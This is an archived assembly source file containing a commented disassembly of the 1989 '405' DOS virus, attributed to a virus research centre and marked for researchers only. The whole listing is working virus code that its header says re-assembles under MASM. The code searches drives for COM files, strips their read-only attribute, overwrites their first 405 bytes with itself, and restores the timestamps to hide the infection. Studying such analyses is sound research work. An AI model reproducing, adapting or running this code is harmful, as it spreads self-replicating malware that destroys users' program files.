home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 405_.ASM < prev    next >
Assembly Source File  |  1989-05-16  |  6KB  |  206 lines

  1.     title    The '405' virus
  2.     page    65,132
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                             The '405' Virus                              ║
  9. ; ║                Disassembled by Joe Hirst,      March 1989                ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The virus overwrites the first 405 bytes of a COM file.  If the
  18.     ; length of the COM file is less than this, the length is increased
  19.     ; to 405 bytes.
  20.  
  21.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  22.  
  23. BUFFER    SEGMENT AT 0
  24.  
  25.     ORG    295H
  26. DW0295    DW    ?
  27. DB0297    DB    ?
  28.  
  29.     ORG    0E000H
  30. DWE000    DW    ?            ; Read buffer area
  31.  
  32.     ORG    0E195H
  33. DWE195    DW    ?            ; Program after virus
  34.  
  35. BUFFER    ENDS
  36.  
  37. CODE    SEGMENT BYTE PUBLIC 'CODE'
  38.     ASSUME CS:CODE,DS:NOTHING,ES:BUFFER
  39.  
  40. VIRLEN    EQU    OFFSET ENDADR-START
  41.     ORG    100H
  42.  
  43. START:    XCHG    SI,AX
  44.     ADD    [BX+SI],AL
  45.     SAHF
  46.     ADD    [BX+SI],AL
  47.     NOP
  48.  
  49.     MOV    AX,0            ; Clear register
  50.     MOV    ES:DB0249,AL        ; Set current disk to default
  51.     MOV    ES:DB024B,AL        ; Set pathname store to zero
  52.     MOV    ES:DB028B,AL        ; Set number of drives to zero
  53.     PUSH    AX
  54.     MOV    AH,19H            ; Get current disk function
  55.     INT    21H            ; DOS service
  56.     MOV    ES:DB0249,AL        ; Save current disk
  57.     MOV    AH,47H            ; Get current directory function
  58.     ADD    AL,1            ; Next drive (A)
  59.     PUSH    AX
  60.     MOV    DL,AL            ; Drive A
  61.     LEA    SI,DB024B        ; Pathname store
  62.     INT    21H            ; DOS service
  63.     POP    AX
  64.     MOV    AH,0EH            ; Select disk function
  65.     SUB    AL,1            ; Convert drive for select function
  66.     MOV    DL,AL            ; Move drive
  67.     INT    21H            ; DOS service
  68.     MOV    ES:DB028B,AL        ; Save number of drives
  69. BP0139:    MOV    AL,ES:DB0249        ; Get current disk
  70.     CMP    AL,0            ; Is drive A?
  71.     JNZ    BP0152            ; Branch if not
  72.     MOV    AH,0EH            ; Select disk function
  73.     MOV    DL,2            ; Change drive to B
  74.     INT    21H            ; DOS service
  75.     MOV    AH,19H            ; Get current disk function
  76.     INT    21H            ; DOS service
  77.     MOV    ES:DB024A,AL        ; Save new current drive
  78.     JMP    BP0179
  79.  
  80. BP0152:    CMP    AL,1            ; Is drive B?
  81.     JNZ    BP0167            ; Branch if not
  82.     MOV    AH,0EH            ; Select disk function
  83.     MOV    DL,2            ; Change drive to C
  84.     INT    21H            ; DOS service
  85.     MOV    AH,19H            ; Get current disk function
  86.     INT    21H            ; DOS service
  87.     MOV    ES:DB024A,AL        ; Save new current drive
  88.     JMP    BP0179
  89.  
  90. BP0167:    CMP    AL,2            ; Is drive C?
  91.     JNZ    BP0179            ; Branch if not
  92.     MOV    AH,0EH            ; Select disk function
  93.     MOV    DL,0            ; Change drive to A
  94.     INT    21H            ; DOS service
  95.     MOV    AH,19H            ; Get current disk function
  96.     INT    21H            ; DOS service
  97.     MOV    ES:DB024A,AL        ; Save new current drive
  98. BP0179:    MOV    AH,4EH            ; Find first file function
  99.     MOV    CX,1            ; Find read-only files, not system
  100.     LEA    DX,DB028C        ; Path '*.COM'
  101.     INT    21H            ; DOS service
  102.     JB    BP0189            ; Branch if error
  103.     JMP    BP01A9            ; Process COM file
  104.  
  105. BP0189:    MOV    AH,3BH            ; Change current directory function
  106.     LEA    DX,DB0297        ; Directory pathname (this is past the end)
  107.     INT    21H            ; DOS service
  108.     MOV    AH,4EH            ; Find first file function
  109.     MOV    CX,0011H        ; Find directory and read-only
  110.     LEA    DX,DB0292        ; Path '*'
  111.     INT    21H            ; DOS service
  112.     JB    BP0139            ; Branch if error
  113.     JMP    BP0179            ; Find a COM file
  114.  
  115. BP01A0:    MOV    AH,4FH            ; Find next file function
  116.     INT    21H            ; DOS service
  117.     JB    BP0189            ; Branch if error
  118.     JMP    BP01A9            ; Process COM file
  119.  
  120.     ; Process COM file
  121.  
  122. BP01A9:    MOV    AH,3DH            ; Open handle function
  123.     MOV    AL,2            ; R/W access
  124.     MOV    DX,009EH        ; File pathname
  125.     INT    21H            ; DOS service
  126.     MOV    BX,AX            ; Move handle
  127.     MOV    AH,3FH            ; Read handle function
  128.     MOV    CX,VIRLEN        ; Length of virus
  129.     NOP
  130.     MOV    DX,OFFSET DWE000    ; Read it in way down there
  131.     NOP
  132.     INT    21H            ; DOS service
  133.     MOV    AH,3EH            ; Close handle function
  134.     INT    21H            ; DOS service
  135.     MOV    BX,DWE000        ; Get first word of COM file
  136.     CMP    BX,9600H        ; Is it infected? (should be 0096H)
  137.     JZ    BP01A0            ; Yes, find another one
  138.     MOV    AH,43H            ; \ Get file attributes function
  139.     MOV    AL,0            ; /
  140.     MOV    DX,009EH        ; File pathname
  141.     INT    21H            ; DOS service
  142.     MOV    AH,43H            ; \ Set file attributes function
  143.     MOV    AL,1            ; /
  144.     AND    CX,00FEH        ; Set off read only attribute
  145.     INT    21H            ; DOS service
  146.     MOV    AH,3DH            ; Open handle function
  147.     MOV    AL,2            ; R/W mode
  148.     MOV    DX,009EH        ; File pathname
  149.     INT    21H            ; DOS service
  150.     MOV    BX,AX            ; Move handle
  151.     MOV    AH,57H            ; \ Get file date & time function
  152.     MOV    AL,0            ; /
  153.     INT    21H            ; DOS service
  154.     PUSH    CX
  155.     PUSH    DX
  156.     ASSUME    ES:NOTHING
  157.     MOV    DX,CS:DW0295        ; Get word after virus here
  158.     MOV    CS:DWE195,DX        ; Move to same position in prog
  159.     MOV    DX,CS:DWE000+1        ; Get displacement from initial jump
  160.     LEA    CX,DB0294-100H        ; Length of virus minus one
  161.     SUB    DX,CX
  162.     MOV    CS:DW0295,DX        ; Store in word after virus
  163.     MOV    AH,40H            ; Write handle function
  164.     MOV    CX,VIRLEN        ; Length of virus
  165.     NOP
  166.     LEA    DX,START        ; Beginning of virus
  167.     INT    21H            ; DOS service
  168.     MOV    AH,57H            ; \ Set file date & time function
  169.     MOV    AL,1            ; /
  170.     POP    DX
  171.     POP    CX
  172.     INT    21H            ; DOS service
  173.     MOV    AH,3EH            ; Close handle function
  174.     INT    21H            ; DOS service
  175.     MOV    DX,CS:DWE195        ; Get word after virus
  176.     MOV    CS:DW0295,DX        ; Move to same position here
  177.     JMP    BP0234
  178.  
  179. BP0234:    MOV    AH,0EH            ; Select disk function
  180.     MOV    DL,CS:DB0249        ; Get current disk
  181.     INT    21H            ; DOS service
  182.     MOV    AH,3BH            ; Change current directory function
  183.     LEA    DX,DB024A        ; Address of path - this is incorrect
  184.     INT    21H            ; DOS service
  185.     MOV    AH,0            ; Terminate program function
  186.     INT    21H            ; DOS service
  187.  
  188. DB0249    DB    2            ; Current disk
  189. DB024A    DB    0            ; New current drive
  190.  
  191.     ; There should be an extra byte at this point containing '\'
  192.     ; for use by the change directory function - this is why that
  193.     ; function is pointing at the previous field
  194.  
  195. DB024B    DB    'TEST', 3CH DUP (0)
  196. DB028B    DB    0DH            ; Number of drives
  197. DB028C    DB    '*.COM', 0
  198. DB0292    DB    '*', 0
  199. DB0294    DB    0E9H
  200.  
  201. ENDADR    EQU    $
  202.  
  203. CODE    ENDS
  204.  
  205.     END    START
  206.